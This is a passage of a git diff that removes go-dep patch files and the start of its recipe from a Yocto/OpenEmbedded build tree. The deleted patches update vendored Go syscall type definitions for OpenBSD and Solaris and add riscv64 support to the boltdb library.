- type BpfTimeval struct {
-@@ -447,7 +427,145 @@ type Termios struct {
- Ospeed int32
- }
-
-+type Winsize struct {
-+ Row uint16
-+ Col uint16
-+ Xpixel uint16
-+ Ypixel uint16
-+}
-+
- const (
- AT_FDCWD = -0x64
-+ AT_SYMLINK_FOLLOW = 0x4
- AT_SYMLINK_NOFOLLOW = 0x2
- )
-+
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
-+type Sigset_t uint32
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofUvmexp = 0x158
-+
-+type Uvmexp struct {
-+ Pagesize int32
-+ Pagemask int32
-+ Pageshift int32
-+ Npages int32
-+ Free int32
-+ Active int32
-+ Inactive int32
-+ Paging int32
-+ Wired int32
-+ Zeropages int32
-+ Reserve_pagedaemon int32
-+ Reserve_kernel int32
-+ Anonpages int32
-+ Vnodepages int32
-+ Vtextpages int32
-+ Freemin int32
-+ Freetarg int32
-+ Inactarg int32
-+ Wiredmax int32
-+ Anonmin int32
-+ Vtextmin int32
-+ Vnodemin int32
-+ Anonminpct int32
-+ Vtextminpct int32
-+ Vnodeminpct int32
-+ Nswapdev int32
-+ Swpages int32
-+ Swpginuse int32
-+ Swpgonly int32
-+ Nswget int32
-+ Nanon int32
-+ Nanonneeded int32
-+ Nfreeanon int32
-+ Faults int32
-+ Traps int32
-+ Intrs int32
-+ Swtch int32
-+ Softs int32
-+ Syscalls int32
-+ Pageins int32
-+ Obsolete_swapins int32
-+ Obsolete_swapouts int32
-+ Pgswapin int32
-+ Pgswapout int32
-+ Forks int32
-+ Forks_ppwait int32
-+ Forks_sharevm int32
-+ Pga_zerohit int32
-+ Pga_zeromiss int32
-+ Zeroaborts int32
-+ Fltnoram int32
-+ Fltnoanon int32
-+ Fltnoamap int32
-+ Fltpgwait int32
-+ Fltpgrele int32
-+ Fltrelck int32
-+ Fltrelckok int32
-+ Fltanget int32
-+ Fltanretry int32
-+ Fltamcopy int32
-+ Fltnamap int32
-+ Fltnomap int32
-+ Fltlget int32
-+ Fltget int32
-+ Flt_anon int32
-+ Flt_acow int32
-+ Flt_obj int32
-+ Flt_prcopy int32
-+ Flt_przero int32
-+ Pdwoke int32
-+ Pdrevs int32
-+ Pdswout int32
-+ Pdfreed int32
-+ Pdscans int32
-+ Pdanscan int32
-+ Pdobscan int32
-+ Pdreact int32
-+ Pdbusy int32
-+ Pdpageouts int32
-+ Pdpending int32
-+ Pddeact int32
-+ Pdreanon int32
-+ Pdrevnode int32
-+ Pdrevtext int32
-+ Fpswtch int32
-+ Kmapent int32
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Tickadj int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_openbsd_arm.go b/vendor/golang.org/x/sys/unix/ztypes_openbsd_arm.go
-index 62e1f7c0..d80836ef 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_openbsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_openbsd_arm.go
-@@ -1,16 +1,16 @@
--// Created by cgo -godefs - DO NOT EDIT
--// cgo -godefs types_openbsd.go
-+// cgo -godefs -- -fsigned-char types_openbsd.go | go run mkpost.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build arm,openbsd
-
- package unix
-
- const (
-- sizeofPtr = 0x4
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x4
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x4
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x4
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -23,11 +23,13 @@ type (
- type Timespec struct {
- Sec int64
- Nsec int32
-+ _ [4]byte
- }
-
- type Timeval struct {
- Sec int64
- Usec int32
-+ _ [4]byte
- }
-
- type Rusage struct {
-@@ -56,46 +58,31 @@ type Rlimit struct {
-
- type _Gid_t uint32
-
--const (
-- S_IFMT = 0xf000
-- S_IFIFO = 0x1000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFBLK = 0x6000
-- S_IFREG = 0x8000
-- S_IFLNK = 0xa000
-- S_IFSOCK = 0xc000
-- S_ISUID = 0x800
-- S_ISGID = 0x400
-- S_ISVTX = 0x200
-- S_IRUSR = 0x100
-- S_IWUSR = 0x80
-- S_IXUSR = 0x40
--)
--
- type Stat_t struct {
-- Mode uint32
-- Dev int32
-- Ino uint64
-- Nlink uint32
-- Uid uint32
-- Gid uint32
-- Rdev int32
-- Atim Timespec
-- Mtim Timespec
-- Ctim Timespec
-- Size int64
-- Blocks int64
-- Blksize int32
-- Flags uint32
-- Gen uint32
-- X__st_birthtim Timespec
-+ Mode uint32
-+ Dev int32
-+ Ino uint64
-+ Nlink uint32
-+ Uid uint32
-+ Gid uint32
-+ Rdev int32
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint32
-+ _ [4]byte
-+ _ Timespec
- }
-
- type Statfs_t struct {
- F_flags uint32
- F_bsize uint32
- F_iosize uint32
-+ _ [4]byte
- F_blocks uint64
- F_bfree uint64
- F_bavail int64
-@@ -110,11 +97,11 @@ type Statfs_t struct {
- F_namemax uint32
- F_owner uint32
- F_ctime uint64
-- F_fstypename [16]uint8
-- F_mntonname [90]uint8
-- F_mntfromname [90]uint8
-- F_mntfromspec [90]uint8
-- Pad_cgo_0 [2]byte
-+ F_fstypename [16]int8
-+ F_mntonname [90]int8
-+ F_mntfromname [90]int8
-+ F_mntfromspec [90]int8
-+ _ [2]byte
- Mount_info [160]byte
- }
-
-@@ -127,19 +114,23 @@ type Flock_t struct {
- }
-
- type Dirent struct {
-- Fileno uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Namlen uint8
-- X__d_padding [4]uint8
-- Name [256]uint8
-+ Fileno uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Namlen uint8
-+ _ [4]uint8
-+ Name [256]int8
- }
-
- type Fsid struct {
- Val [2]int32
- }
-
-+const (
-+ PathMax = 0x400
-+)
-+
- type RawSockaddrInet4 struct {
- Len uint8
- Family uint8
-@@ -264,8 +255,10 @@ type Kevent_t struct {
- Filter int16
- Flags uint16
- Fflags uint32
-+ _ [4]byte
- Data int64
- Udata *byte
-+ _ [4]byte
- }
-
- type FdSet struct {
-@@ -273,8 +266,8 @@ type FdSet struct {
- }
-
- const (
-- SizeofIfMsghdr = 0x98
-- SizeofIfData = 0x80
-+ SizeofIfMsghdr = 0xa8
-+ SizeofIfData = 0x90
- SizeofIfaMsghdr = 0x18
- SizeofIfAnnounceMsghdr = 0x1a
- SizeofRtMsghdr = 0x60
-@@ -303,7 +296,7 @@ type IfData struct {
- Link_state uint8
- Mtu uint32
- Metric uint32
-- Pad uint32
-+ Rdomain uint32
- Baudrate uint64
- Ipackets uint64
- Ierrors uint64
-@@ -315,8 +308,10 @@ type IfData struct {
- Imcasts uint64
- Omcasts uint64
- Iqdrops uint64
-+ Oqdrops uint64
- Noproto uint64
- Capabilities uint32
-+ _ [4]byte
- Lastchange Timeval
- }
-
-@@ -341,7 +336,7 @@ type IfAnnounceMsghdr struct {
- Hdrlen uint16
- Index uint16
- What uint16
-- Name [16]uint8
-+ Name [16]int8
- }
-
- type RtMsghdr struct {
-@@ -411,11 +406,11 @@ type BpfInsn struct {
- }
-
- type BpfHdr struct {
-- Tstamp BpfTimeval
-- Caplen uint32
-- Datalen uint32
-- Hdrlen uint16
-- Pad_cgo_0 [2]byte
-+ Tstamp BpfTimeval
-+ Caplen uint32
-+ Datalen uint32
-+ Hdrlen uint16
-+ _ [2]byte
- }
-
- type BpfTimeval struct {
-@@ -433,7 +428,145 @@ type Termios struct {
- Ospeed int32
- }
-
-+type Winsize struct {
-+ Row uint16
-+ Col uint16
-+ Xpixel uint16
-+ Ypixel uint16
-+}
-+
- const (
- AT_FDCWD = -0x64
-+ AT_SYMLINK_FOLLOW = 0x4
- AT_SYMLINK_NOFOLLOW = 0x2
- )
-+
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
-+type Sigset_t uint32
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofUvmexp = 0x158
-+
-+type Uvmexp struct {
-+ Pagesize int32
-+ Pagemask int32
-+ Pageshift int32
-+ Npages int32
-+ Free int32
-+ Active int32
-+ Inactive int32
-+ Paging int32
-+ Wired int32
-+ Zeropages int32
-+ Reserve_pagedaemon int32
-+ Reserve_kernel int32
-+ Unused01 int32
-+ Vnodepages int32
-+ Vtextpages int32
-+ Freemin int32
-+ Freetarg int32
-+ Inactarg int32
-+ Wiredmax int32
-+ Anonmin int32
-+ Vtextmin int32
-+ Vnodemin int32
-+ Anonminpct int32
-+ Vtextminpct int32
-+ Vnodeminpct int32
-+ Nswapdev int32
-+ Swpages int32
-+ Swpginuse int32
-+ Swpgonly int32
-+ Nswget int32
-+ Nanon int32
-+ Unused05 int32
-+ Unused06 int32
-+ Faults int32
-+ Traps int32
-+ Intrs int32
-+ Swtch int32
-+ Softs int32
-+ Syscalls int32
-+ Pageins int32
-+ Unused07 int32
-+ Unused08 int32
-+ Pgswapin int32
-+ Pgswapout int32
-+ Forks int32
-+ Forks_ppwait int32
-+ Forks_sharevm int32
-+ Pga_zerohit int32
-+ Pga_zeromiss int32
-+ Unused09 int32
-+ Fltnoram int32
-+ Fltnoanon int32
-+ Fltnoamap int32
-+ Fltpgwait int32
-+ Fltpgrele int32
-+ Fltrelck int32
-+ Fltrelckok int32
-+ Fltanget int32
-+ Fltanretry int32
-+ Fltamcopy int32
-+ Fltnamap int32
-+ Fltnomap int32
-+ Fltlget int32
-+ Fltget int32
-+ Flt_anon int32
-+ Flt_acow int32
-+ Flt_obj int32
-+ Flt_prcopy int32
-+ Flt_przero int32
-+ Pdwoke int32
-+ Pdrevs int32
-+ Pdswout int32
-+ Pdfreed int32
-+ Pdscans int32
-+ Pdanscan int32
-+ Pdobscan int32
-+ Pdreact int32
-+ Pdbusy int32
-+ Pdpageouts int32
-+ Pdpending int32
-+ Pddeact int32
-+ Unused11 int32
-+ Unused12 int32
-+ Unused13 int32
-+ Fpswtch int32
-+ Kmapent int32
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Tickadj int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_openbsd_amd64.go b/vendor/golang.org/x/sys/unix/ztypes_openbsd_arm64.go
-similarity index 58%
-copy from vendor/golang.org/x/sys/unix/ztypes_openbsd_amd64.go
-copy to vendor/golang.org/x/sys/unix/ztypes_openbsd_arm64.go
-index 46fe9490..4e158746 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_openbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_openbsd_arm64.go
-@@ -1,16 +1,16 @@
--// Created by cgo -godefs - DO NOT EDIT
--// cgo -godefs types_openbsd.go
-+// cgo -godefs -- -fsigned-char types_openbsd.go | go run mkpost.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build amd64,openbsd
-+// +build arm64,openbsd
-
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x8
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x8
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -56,48 +56,29 @@ type Rlimit struct {
-
- type _Gid_t uint32
-
--const (
-- S_IFMT = 0xf000
-- S_IFIFO = 0x1000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFBLK = 0x6000
-- S_IFREG = 0x8000
-- S_IFLNK = 0xa000
-- S_IFSOCK = 0xc000
-- S_ISUID = 0x800
-- S_ISGID = 0x400
-- S_ISVTX = 0x200
-- S_IRUSR = 0x100
-- S_IWUSR = 0x80
-- S_IXUSR = 0x40
--)
--
- type Stat_t struct {
-- Mode uint32
-- Dev int32
-- Ino uint64
-- Nlink uint32
-- Uid uint32
-- Gid uint32
-- Rdev int32
-- Atim Timespec
-- Mtim Timespec
-- Ctim Timespec
-- Size int64
-- Blocks int64
-- Blksize uint32
-- Flags uint32
-- Gen uint32
-- Pad_cgo_0 [4]byte
-- X__st_birthtim Timespec
-+ Mode uint32
-+ Dev int32
-+ Ino uint64
-+ Nlink uint32
-+ Uid uint32
-+ Gid uint32
-+ Rdev int32
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint32
-+ _ Timespec
- }
-
- type Statfs_t struct {
- F_flags uint32
- F_bsize uint32
- F_iosize uint32
-- Pad_cgo_0 [4]byte
- F_blocks uint64
- F_bfree uint64
- F_bavail int64
-@@ -116,7 +97,7 @@ type Statfs_t struct {
- F_mntonname [90]int8
- F_mntfromname [90]int8
- F_mntfromspec [90]int8
-- Pad_cgo_1 [2]byte
-+ _ [2]byte
- Mount_info [160]byte
- }
-
-@@ -129,19 +110,23 @@ type Flock_t struct {
- }
-
- type Dirent struct {
-- Fileno uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Namlen uint8
-- X__d_padding [4]uint8
-- Name [256]int8
-+ Fileno uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Namlen uint8
-+ _ [4]uint8
-+ Name [256]int8
- }
-
- type Fsid struct {
- Val [2]int32
- }
-
-+const (
-+ PathMax = 0x400
-+)
-+
- type RawSockaddrInet4 struct {
- Len uint8
- Family uint8
-@@ -212,10 +197,8 @@ type IPv6Mreq struct {
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
- Iov *Iovec
- Iovlen uint32
-- Pad_cgo_1 [4]byte
- Control *byte
- Controllen uint32
- Flags int32
-@@ -277,8 +260,8 @@ type FdSet struct {
- }
-
- const (
-- SizeofIfMsghdr = 0xf8
-- SizeofIfData = 0xe0
-+ SizeofIfMsghdr = 0xa8
-+ SizeofIfData = 0x90
- SizeofIfaMsghdr = 0x18
- SizeofIfAnnounceMsghdr = 0x1a
- SizeofRtMsghdr = 0x60
-@@ -307,7 +290,7 @@ type IfData struct {
- Link_state uint8
- Mtu uint32
- Metric uint32
-- Pad uint32
-+ Rdomain uint32
- Baudrate uint64
- Ipackets uint64
- Ierrors uint64
-@@ -319,12 +302,10 @@ type IfData struct {
- Imcasts uint64
- Omcasts uint64
- Iqdrops uint64
-+ Oqdrops uint64
- Noproto uint64
- Capabilities uint32
-- Pad_cgo_0 [4]byte
- Lastchange Timeval
-- Mclpool [7]Mclpool
-- Pad_cgo_1 [4]byte
- }
-
- type IfaMsghdr struct {
-@@ -385,13 +366,7 @@ type RtMetrics struct {
- Pad uint32
- }
-
--type Mclpool struct {
-- Grown int32
-- Alive uint16
-- Hwm uint16
-- Cwm uint16
-- Lwm uint16
--}
-+type Mclpool struct{}
-
- const (
- SizeofBpfVersion = 0x4
-@@ -412,9 +387,8 @@ type BpfStat struct {
- }
-
- type BpfProgram struct {
-- Len uint32
-- Pad_cgo_0 [4]byte
-- Insns *BpfInsn
-+ Len uint32
-+ Insns *BpfInsn
- }
-
- type BpfInsn struct {
-@@ -425,11 +399,11 @@ type BpfInsn struct {
- }
-
- type BpfHdr struct {
-- Tstamp BpfTimeval
-- Caplen uint32
-- Datalen uint32
-- Hdrlen uint16
-- Pad_cgo_0 [2]byte
-+ Tstamp BpfTimeval
-+ Caplen uint32
-+ Datalen uint32
-+ Hdrlen uint16
-+ _ [2]byte
- }
-
- type BpfTimeval struct {
-@@ -447,7 +421,145 @@ type Termios struct {
- Ospeed int32
- }
-
-+type Winsize struct {
-+ Row uint16
-+ Col uint16
-+ Xpixel uint16
-+ Ypixel uint16
-+}
-+
- const (
- AT_FDCWD = -0x64
-+ AT_SYMLINK_FOLLOW = 0x4
- AT_SYMLINK_NOFOLLOW = 0x2
- )
-+
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
-+type Sigset_t uint32
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofUvmexp = 0x158
-+
-+type Uvmexp struct {
-+ Pagesize int32
-+ Pagemask int32
-+ Pageshift int32
-+ Npages int32
-+ Free int32
-+ Active int32
-+ Inactive int32
-+ Paging int32
-+ Wired int32
-+ Zeropages int32
-+ Reserve_pagedaemon int32
-+ Reserve_kernel int32
-+ Unused01 int32
-+ Vnodepages int32
-+ Vtextpages int32
-+ Freemin int32
-+ Freetarg int32
-+ Inactarg int32
-+ Wiredmax int32
-+ Anonmin int32
-+ Vtextmin int32
-+ Vnodemin int32
-+ Anonminpct int32
-+ Vtextminpct int32
-+ Vnodeminpct int32
-+ Nswapdev int32
-+ Swpages int32
-+ Swpginuse int32
-+ Swpgonly int32
-+ Nswget int32
-+ Nanon int32
-+ Unused05 int32
-+ Unused06 int32
-+ Faults int32
-+ Traps int32
-+ Intrs int32
-+ Swtch int32
-+ Softs int32
-+ Syscalls int32
-+ Pageins int32
-+ Unused07 int32
-+ Unused08 int32
-+ Pgswapin int32
-+ Pgswapout int32
-+ Forks int32
-+ Forks_ppwait int32
-+ Forks_sharevm int32
-+ Pga_zerohit int32
-+ Pga_zeromiss int32
-+ Unused09 int32
-+ Fltnoram int32
-+ Fltnoanon int32
-+ Fltnoamap int32
-+ Fltpgwait int32
-+ Fltpgrele int32
-+ Fltrelck int32
-+ Fltrelckok int32
-+ Fltanget int32
-+ Fltanretry int32
-+ Fltamcopy int32
-+ Fltnamap int32
-+ Fltnomap int32
-+ Fltlget int32
-+ Fltget int32
-+ Flt_anon int32
-+ Flt_acow int32
-+ Flt_obj int32
-+ Flt_prcopy int32
-+ Flt_przero int32
-+ Pdwoke int32
-+ Pdrevs int32
-+ Pdswout int32
-+ Pdfreed int32
-+ Pdscans int32
-+ Pdanscan int32
-+ Pdobscan int32
-+ Pdreact int32
-+ Pdbusy int32
-+ Pdpageouts int32
-+ Pdpending int32
-+ Pddeact int32
-+ Unused11 int32
-+ Unused12 int32
-+ Unused13 int32
-+ Fpswtch int32
-+ Kmapent int32
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Tickadj int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_solaris_amd64.go b/vendor/golang.org/x/sys/unix/ztypes_solaris_amd64.go
-index 92336f9f..23ed9fe5 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_solaris_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_solaris_amd64.go
-@@ -6,11 +6,11 @@
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x8
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x8
-+ SizeofLongLong = 0x8
- PathMax = 0x400
- MaxHostNameLen = 0x100
- )
-@@ -75,58 +75,41 @@ type Rlimit struct {
-
- type _Gid_t uint32
-
--const (
-- S_IFMT = 0xf000
-- S_IFIFO = 0x1000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFBLK = 0x6000
-- S_IFREG = 0x8000
-- S_IFLNK = 0xa000
-- S_IFSOCK = 0xc000
-- S_ISUID = 0x800
-- S_ISGID = 0x400
-- S_ISVTX = 0x200
-- S_IRUSR = 0x100
-- S_IWUSR = 0x80
-- S_IXUSR = 0x40
--)
--
- type Stat_t struct {
-- Dev uint64
-- Ino uint64
-- Mode uint32
-- Nlink uint32
-- Uid uint32
-- Gid uint32
-- Rdev uint64
-- Size int64
-- Atim Timespec
-- Mtim Timespec
-- Ctim Timespec
-- Blksize int32
-- Pad_cgo_0 [4]byte
-- Blocks int64
-- Fstype [16]int8
-+ Dev uint64
-+ Ino uint64
-+ Mode uint32
-+ Nlink uint32
-+ Uid uint32
-+ Gid uint32
-+ Rdev uint64
-+ Size int64
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Blksize int32
-+ _ [4]byte
-+ Blocks int64
-+ Fstype [16]int8
- }
-
- type Flock_t struct {
-- Type int16
-- Whence int16
-- Pad_cgo_0 [4]byte
-- Start int64
-- Len int64
-- Sysid int32
-- Pid int32
-- Pad [4]int64
-+ Type int16
-+ Whence int16
-+ _ [4]byte
-+ Start int64
-+ Len int64
-+ Sysid int32
-+ Pid int32
-+ Pad [4]int64
- }
-
- type Dirent struct {
-- Ino uint64
-- Off int64
-- Reclen uint16
-- Name [1]int8
-- Pad_cgo_0 [5]byte
-+ Ino uint64
-+ Off int64
-+ Reclen uint16
-+ Name [1]int8
-+ _ [5]byte
- }
-
- type _Fsblkcnt_t uint64
-@@ -213,13 +196,13 @@ type IPv6Mreq struct {
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
-+ _ [4]byte
- Iov *Iovec
- Iovlen int32
-- Pad_cgo_1 [4]byte
-+ _ [4]byte
- Accrights *int8
- Accrightslen int32
-- Pad_cgo_2 [4]byte
-+ _ [4]byte
- }
-
- type Cmsghdr struct {
-@@ -228,6 +211,12 @@ type Cmsghdr struct {
- Type int32
- }
-
-+type Inet4Pktinfo struct {
-+ Ifindex uint32
-+ Spec_dst [4]byte /* in_addr */
-+ Addr [4]byte /* in_addr */
-+}
-+
- type Inet6Pktinfo struct {
- Addr [16]byte /* in6_addr */
- Ifindex uint32
-@@ -253,6 +242,7 @@ const (
- SizeofIPv6Mreq = 0x14
- SizeofMsghdr = 0x30
- SizeofCmsghdr = 0xc
-+ SizeofInet4Pktinfo = 0xc
- SizeofInet6Pktinfo = 0x14
- SizeofIPv6MTUInfo = 0x24
- SizeofICMPv6Filter = 0x20
-@@ -263,19 +253,19 @@ type FdSet struct {
- }
-
- type Utsname struct {
-- Sysname [257]int8
-- Nodename [257]int8
-- Release [257]int8
-- Version [257]int8
-- Machine [257]int8
-+ Sysname [257]byte
-+ Nodename [257]byte
-+ Release [257]byte
-+ Version [257]byte
-+ Machine [257]byte
- }
-
- type Ustat_t struct {
-- Tfree int64
-- Tinode uint64
-- Fname [6]int8
-- Fpack [6]int8
-- Pad_cgo_0 [4]byte
-+ Tfree int64
-+ Tinode uint64
-+ Fname [6]int8
-+ Fpack [6]int8
-+ _ [4]byte
- }
-
- const (
-@@ -295,21 +285,21 @@ const (
- )
-
- type IfMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data IfData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Data IfData
- }
-
- type IfData struct {
- Type uint8
- Addrlen uint8
- Hdrlen uint8
-- Pad_cgo_0 [1]byte
-+ _ [1]byte
- Mtu uint32
- Metric uint32
- Baudrate uint32
-@@ -328,30 +318,30 @@ type IfData struct {
- }
-
- type IfaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Metric int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Metric int32
- }
-
- type RtMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Flags int32
-- Addrs int32
-- Pid int32
-- Seq int32
-- Errno int32
-- Use int32
-- Inits uint32
-- Rmx RtMetrics
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Index uint16
-+ _ [2]byte
-+ Flags int32
-+ Addrs int32
-+ Pid int32
-+ Seq int32
-+ Errno int32
-+ Use int32
-+ Inits uint32
-+ Rmx RtMetrics
- }
-
- type RtMetrics struct {
-@@ -388,9 +378,9 @@ type BpfStat struct {
- }
-
- type BpfProgram struct {
-- Len uint32
-- Pad_cgo_0 [4]byte
-- Insns *BpfInsn
-+ Len uint32
-+ _ [4]byte
-+ Insns *BpfInsn
- }
-
- type BpfInsn struct {
-@@ -406,32 +396,30 @@ type BpfTimeval struct {
- }
-
- type BpfHdr struct {
-- Tstamp BpfTimeval
-- Caplen uint32
-- Datalen uint32
-- Hdrlen uint16
-- Pad_cgo_0 [2]byte
-+ Tstamp BpfTimeval
-+ Caplen uint32
-+ Datalen uint32
-+ Hdrlen uint16
-+ _ [2]byte
- }
-
--const _SC_PAGESIZE = 0xb
--
- type Termios struct {
-- Iflag uint32
-- Oflag uint32
-- Cflag uint32
-- Lflag uint32
-- Cc [19]uint8
-- Pad_cgo_0 [1]byte
-+ Iflag uint32
-+ Oflag uint32
-+ Cflag uint32
-+ Lflag uint32
-+ Cc [19]uint8
-+ _ [1]byte
- }
-
- type Termio struct {
-- Iflag uint16
-- Oflag uint16
-- Cflag uint16
-- Lflag uint16
-- Line int8
-- Cc [8]uint8
-- Pad_cgo_0 [1]byte
-+ Iflag uint16
-+ Oflag uint16
-+ Cflag uint16
-+ Lflag uint16
-+ Line int8
-+ Cc [8]uint8
-+ _ [1]byte
- }
-
- type Winsize struct {
-@@ -440,3 +428,22 @@ type Winsize struct {
- Xpixel uint16
- Ypixel uint16
- }
-+
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
---
-2.26.2
-
diff --git a/meta/recipes-devtools/go/go-dep/0001-bolt_riscv64-Add-support-for-riscv64.patch b/meta/recipes-devtools/go/go-dep/0001-bolt_riscv64-Add-support-for-riscv64.patch
deleted file mode 100644
index 4d97d48243..0000000000
--- a/meta/recipes-devtools/go/go-dep/0001-bolt_riscv64-Add-support-for-riscv64.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 5e051669d117d7cd9b24cea3494959eec396ec1e Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 25 Jan 2020 22:37:25 -0800
-Subject: [PATCH] /bolt_riscv64: Add support for riscv64
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- vendor/github.com/boltdb/bolt/bolt_riscv64.go | 12 ++++++++++++
- 1 file changed, 12 insertions(+)
- create mode 100644 vendor/github.com/boltdb/bolt/bolt_riscv64.go
-
-diff --git a/vendor/github.com/boltdb/bolt/bolt_riscv64.go b/vendor/github.com/boltdb/bolt/bolt_riscv64.go
-new file mode 100644
-index 00000000..3d6b88d4
---- /dev/null
-+++ b/vendor/github.com/boltdb/bolt/bolt_riscv64.go
-@@ -0,0 +1,12 @@
-+// +build riscv64
-+
-+package bolt
-+
-+// maxMapSize represents the largest mmap size supported by Bolt.
-+const maxMapSize = 0xFFFFFFFFFFFF // 256TB
-+
-+// maxAllocSize is the size used when creating array pointers.
-+const maxAllocSize = 0x7FFFFFFF
-+
-+// Are unaligned load/stores broken on this arch?
-+var brokenUnaligned = false
---
-2.25.0
-
diff --git a/meta/recipes-devtools/go/go-dep_0.5.4.bb b/meta/recipes-devtools/go/go-dep_0.5.4.bb
deleted file mode 100644
index 0da2c6607c..0000000000
--- a/meta/recipes-devtools/go/go-dep_0.5.4.bb
+++ /dev/null
@@ -1,30 +0,0 @@
-SUMMARY = "Dependency management tool for Golang"
-HOMEPAGE = "https://github.com/golang/dep"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://src/${GO_IMPORT}/LICENSE;md5=1bad315647751fab0007812f70d42c0d"
-
-GO_IMPORT = "github.com/golang/dep"
-SRC_URI = "git://${GO_IMPORT} \
